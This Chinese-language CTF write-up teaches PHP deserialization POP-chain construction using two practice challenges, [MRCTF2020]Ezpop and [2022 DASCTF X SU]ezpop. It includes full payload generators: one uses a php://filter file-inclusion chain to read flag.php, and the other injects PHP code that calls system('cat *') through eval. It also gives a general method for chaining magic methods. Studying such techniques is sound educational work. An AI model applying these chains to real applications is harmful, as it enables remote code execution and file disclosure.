前言
在上一篇文章中,我们已经介绍了 PHP 反序列化漏洞与 POP 链的基本概念,
也明确了一点:unserialize() 只是入口,POP 链才是真正决定漏洞能否被利用的关键。
但在实际做题或代码审计中,
最令人困惑的往往并不是“POP 链是什么”,
而是面对一堆类定义时,不知道该从哪里开始寻找 Gadget,
也不清楚这些类是否能够被串联成一条可利用的执行链。
因此,本文将不再停留在概念层面,
而是通过多道真实可运行的 CTF 题目,
一步步演示如何从源码分析入手,
最终构造出一条完整、可触发的 POP 链。
接下来,就让我们跟随具体题目,
逐步掌握 POP 链的构造思路与分析方法。
一、 题目一:[MRCTF2020]Ezpop —— 入门级 POP 链
1.1 题目源码与功能说明
题目地址:https://buuoj.cn/challenges#[MRCTF2020]Ezpop
题目源代码:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}
1.2 明确攻击目标
在分析 POP 链之前,首先需要明确一个问题:
我最终希望程序帮我做什么?
在本题中,最危险、也是最直接的利用点出现在:
class Modifier {protected $var;public function append($value){include($value);}
}
include()可以包含任意文件,而题目提示flag is in flag.php,因此可以确定,本题的最终攻击目标是:
控制
Modifier::append()的参数,实现任意文件包含
1.3 append() 如何被调用?
直接搜索源码可以发现,append()并没有被直接调用。但在同一个类中,存在一个魔术方法:
public function __invoke(){$this->append($this->var);
}
这意味着:
- 如果
Modifier对象被当作函数调用 - 就会自动触发
__invoke() - 进而调用
append($this->var)
只要我们能控制$var,就能控制include的文件名
1.4 如何触发 __invoke()?
__invoke() 的触发条件是:
对象被当作函数调用
继续向上寻找调用对象的地方,可以发现:
class Test{public $p;public function __get($key){$function = $this->p;return $function();}
}
这里存在一个关键点:
- 访问不存在的属性 → 触发
__get() $this->p被当作函数执行- 如果
$p是一个Modifier对象,就会触发__invoke()
Test::__get() 是通向 Modifier::__invoke() 的桥梁
1.5 如何触发 __get()?
__get() 的前提是:
访问一个对象中不存在的属性
在源码中,Show 类中存在一个关键魔术方法:
public function __toString(){return $this->str->source;
}
这里的访问链是:
$this->str是一个对象- 访问
$this->str->source - 如果
str指向Test对象,而Test中不存在source - 就会触发
Test::__get()
1.6 __toSt__toString() 的触发条件是:ring() 又是如何被触发的?
__toString() 的触发条件是:
对象被当作字符串使用
在 PHP 中,echo 一个对象时,会自动调用 __toString()。
而在 Show 类的构造函数中:
public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";
}
虽然构造函数不会在反序列化时调用,
但在反序列化过程中:
Show对象会被创建__wakeup()会被自动执行- 后续如果对象被输出为字符串,就会触发
__toString()
1.7 POP 链完整调用顺序总结
将上述分析串联起来,可以得到本题的完整 POP 链:
unserialize()↓
Show::__wakeup()↓
Show::__toString()↓
Test::__get()↓
Modifier::__invoke()↓
Modifier::append()↓
include(flag.php)
也可以用属性关系表示为:
Show->str→TestTest->p→ModifierModifier->var→flag.php
1.8 POP 链 Payload 构造
根据前面的分析,可以构造如下对象关系:
Show->str→TestTest->p→ModifierModifier->var→php://filter/read=convert.base64-encode/resource=flag.phpShow->source→ 指向自身(触发__toString())
对应的 payload 构造代码如下:
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}class Show{
public $source;
public $str;
public function __construct($file='flag.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "flag.php";
}
}
}class Test{
public $p;
public function __construct(){
$this->p = array();
}public function __get($key){
$function = $this->p;
return $function();
}
}$test = new Test();
$show = new Show();
$Modifier = new Modifier();$show->source = $show;
$show->str = $test;
$test->p = $Modifier;echo serialize($show);
echo '<br>';
echo urlencode(serialize($show));
最终传参成功后读取 flag。

二、题目二:[2022 DASCTF X SU]ezpop —— 受限条件下的 POP 链
2.1 题目源码与功能说明
题目来源:https://buuoj.cn/challenges#[2022DASCTF X SU 三月春季挑战赛]ezpop
源代码:
class crow
{public $v1;public $v2;function eval() {echo new $this->v1($this->v2);}public function __invoke(){$this->v1->world();}
}class fin
{public $f1;public function __destruct(){echo $this->f1 . '114514';}public function run(){($this->f1)();}public function __call($a, $b){echo $this->f1->get_flag();}}class what
{public $a;public function __toString(){$this->a->run();return 'hello';}
}
class mix
{public $m1;public function run(){($this->m1)();}public function get_flag(){eval('#' . $this->m1);}}if (isset($_POST['cmd'])) {unserialize($_POST['cmd']);
} else {highlight_file(__FILE__);
}
2.2 明确最终攻击目标(危险点)
第一步永远不是“找链子”,而是回答一个问题:
我最终想让程序帮我做什么?
在本题中,最危险的代码位于:
class mix
{public function get_flag(){eval('#' . $this->m1);}
}
虽然前面加了 # 注释,但这并不代表不可利用。
只要我们能闭合注释,依然可以执行任意 PHP 代码。
因此,本题的最终目标非常明确:
设法调用
mix::get_flag(),并控制$m1的内容
2.3 get_flag() 如何被调用?
在 mix 类中,get_flag() 不会被直接调用,但在 fin 类中存在:
public function __call($a, $b)
{echo $this->f1->get_flag();
}
__call() 的触发条件是:
调用一个对象中不存在的方法
也就是说,只要:
- 对
fin对象调用一个不存在的方法 - 且
$fin->f1是mix对象
就可以成功触发 mix::get_flag()。
2.4 如何触发 fin::__call()?
在 crow 类中存在这样一个魔术方法:
public function __invoke()
{$this->v1->world();
}
这里的 world() 方法在 fin 类中并不存在,
因此如果:
$this->v1是fin对象crow对象被当作函数执行
就会触发:
fin::__call() → mix::get_flag()
2.5 如何触发 crow::__invoke()?
继续向上找,mix 类中存在:
public function run()
{($this->m1)();
}
只要:
$m1是一个crow对象- 调用
mix::run()
就会触发 crow::__invoke()。
2.6 如何触发 mix::run()?
在 what 类中:
public function __toString()
{$this->a->run();return 'hello';
}
这意味着:
- 当
what对象被当作字符串使用 - 就会自动调用
__toString() - 进而调用
$this->a->run()
2.7 __toString() 又是如何被触发的?
在 fin 类的析构函数中:
public function __destruct()
{echo $this->f1 . '114514';
}
当对象销毁时:
echo $this->f1- 如果
$f1是对象 - 就会触发
__toString()
而 反序列化结束后,对象生命周期结束,析构函数会自动执行。
2.8 POP 链完整调用顺序总结
将整个触发过程串联起来,完整 POP 链如下:
unserialize()↓
fin::__destruct()↓
what::__toString()↓
mix::run()↓
crow::__invoke()↓
fin::__call()↓
mix::get_flag()↓
eval()
对象关系可表示为:
fin->f1→whatwhat->a→mixmix->m1→crowcrow->v1→finfin->f1→mixmix->m1→ 恶意 PHP 代码
2.9 Payload 构造与利用
根据上述分析,可以构造如下对象关系:
<?php
class crow
{public $v1;public $v2;function eval() {echo new $this->v1($this->v2);}public function __invoke(){$this->v1->world();}
}class fin
{public $f1;public function __destruct(){echo $this->f1 . '114514';}public function run(){($this->f1)();}public function __call($a, $b){echo $this->f1->get_flag();}}class what
{public $a;public function __toString(){$this->a->run();return 'hello';}
}
class mix
{public $m1;public function run(){($this->m1)();}public function get_flag(){eval('#' . $this->m1);}}$o = new fin();//为了调用__destruct()方法
$o->f1 = new what();//为了调用__toString()方法
$o->f1->a = new mix();//为了去调用run方法
$o->f1->a->m1 = new crow();//为了去调用__invoke()方法
$o->f1->a->m1->v1 = new fin();//为了去调用__call()方法
$o->f1->a->m1->v1->f1 = new mix();//为了去调用get_flag()方法
$o->f1->a->m1->v1->f1->m1="?><?php system('cat *');?>";//用?加>先闭合,绕过注释符,然后再去构造命令echo(urlencode(serialize($o)));

三、POP 链构造通用思路总结
通过分析 [MRCTF2020]Ezpop 与 [2022 DASCTF X SU]ezpop 这两道题,可以发现:
虽然具体类和链条不同,但 POP 链的分析思路是高度一致的。
下面总结我在做这类题时使用的一套固定、可复用的思考流程。
3.1 永远从“最危险的代码”开始,而不是从 unserialize()
很多初学者在看到 unserialize($_GET['xxx']) 时,会立刻尝试“凑链子”,
但实际上这是最容易迷路的做法。
正确的第一步是:
在所有类中,先找出真正具有利用价值的危险点。
在两道题中:
-
[MRCTF2020]Ezpop的危险点是include($value); -
[2022 DASCTF X SU]ezpop的危险点是eval('#' . $this->m1);
只有当你明确了“我最终想让程序干什么”,链条才有方向。
3.2 明确目标函数“不能被直接调用”
一个非常重要的共性是:
真正危险的函数,几乎从来不会被直接调用。
例如:
Modifier::append()没有被直接使用mix::get_flag()也没有被直接使用
这正是 POP 链存在的意义:
通过对象属性 + 魔术方法,间接把程序“骗”到目标函数。
3.3 从目标函数开始,反向追踪“谁能调用它”
这是整个 POP 链分析中最关键的一步。
1. 先问自己一句话:
“谁能调用这个函数?”
append()是通过__invoke()调用的get_flag()是通过fin::__call()调用的
2. 再问一句:
“这个魔术方法的触发条件是什么?”
比如:
| 魔术方法 | 触发条件 |
|---|---|
__call() |
调用不存在的方法 |
__invoke() |
对象被当作函数调用 |
__get() |
访问不存在的属性 |
__toString() |
对象被当作字符串 |
__destruct() |
对象生命周期结束 |
POP 链,本质就是在“人为制造这些触发条件”。
3.4 继续向上“找触发点”,直到能被自动触发
在两道题中,都存在一个非常典型的入口:
[MRCTF2020]Ezpop使用__toString()[2022 DASCTF X SU]ezpop使用__destruct() + __toString()
它们的共同点是:
不需要显式函数调用,在特定场景下会被 PHP 自动触发。
尤其是:
__destruct():反序列化结束后必定执行__toString():echo对象时自动触发
这类魔术方法,通常是整条 POP 链的“启动按钮”。
3.5 POP 链不是“连函数”,而是“连对象关系”
在真正构造 payload 时,需要转换一个视角:
不是“我在调用哪个函数”
而是“哪个属性指向哪个对象”
例如在 [2022 DASCTF X SU]ezpop 中:
fin└─ f1 → what└─ a → mix└─ m1 → crow└─ v1 → fin└─ f1 → mix
只要对象关系正确,函数调用是“自动发生的结果”。
3.6 总结一句话版思路
这两道题,其实都遵循了同一句话:
从最危险的函数出发,
反向寻找能触发它的魔术方法,
再继续向上寻找能被自动触发的入口,
最后用对象属性把整条链串起来。